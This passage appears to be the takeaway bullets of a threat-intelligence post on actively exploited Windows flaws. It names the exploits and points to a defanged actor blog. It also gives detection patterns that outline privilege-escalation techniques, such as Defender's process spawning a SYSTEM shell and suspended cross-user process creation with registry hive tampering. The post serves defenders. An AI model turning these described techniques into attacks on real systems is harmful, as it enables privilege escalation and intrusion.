- Three exploits are actively being weaponized in the wild (BlueHammer, RedSun, UnDefend) from Russian-geolocated infrastructure – CISA KEV listed. The actor’s tooling is being operationalized by external threat actors faster than Microsoft can patch.
- The actor has a dead man’s switch and additional exploits staged. Monitor
deadeclipse666[.]blogspot[.]comfor advance announcements. - Highest single detection ROI:
MsMpEng.exespawning any shell with SYSTEM integrity (RoguePlanet).CreateProcessWithLogonW + LOGON_WITH_PROFILE + CREATE_SUSPENDEDunder cross-SID context with concurrentNTUSER.DATmodification (LegacyHive). Deploy both MDE Query 4 and MDE Query 3 from this post immediately.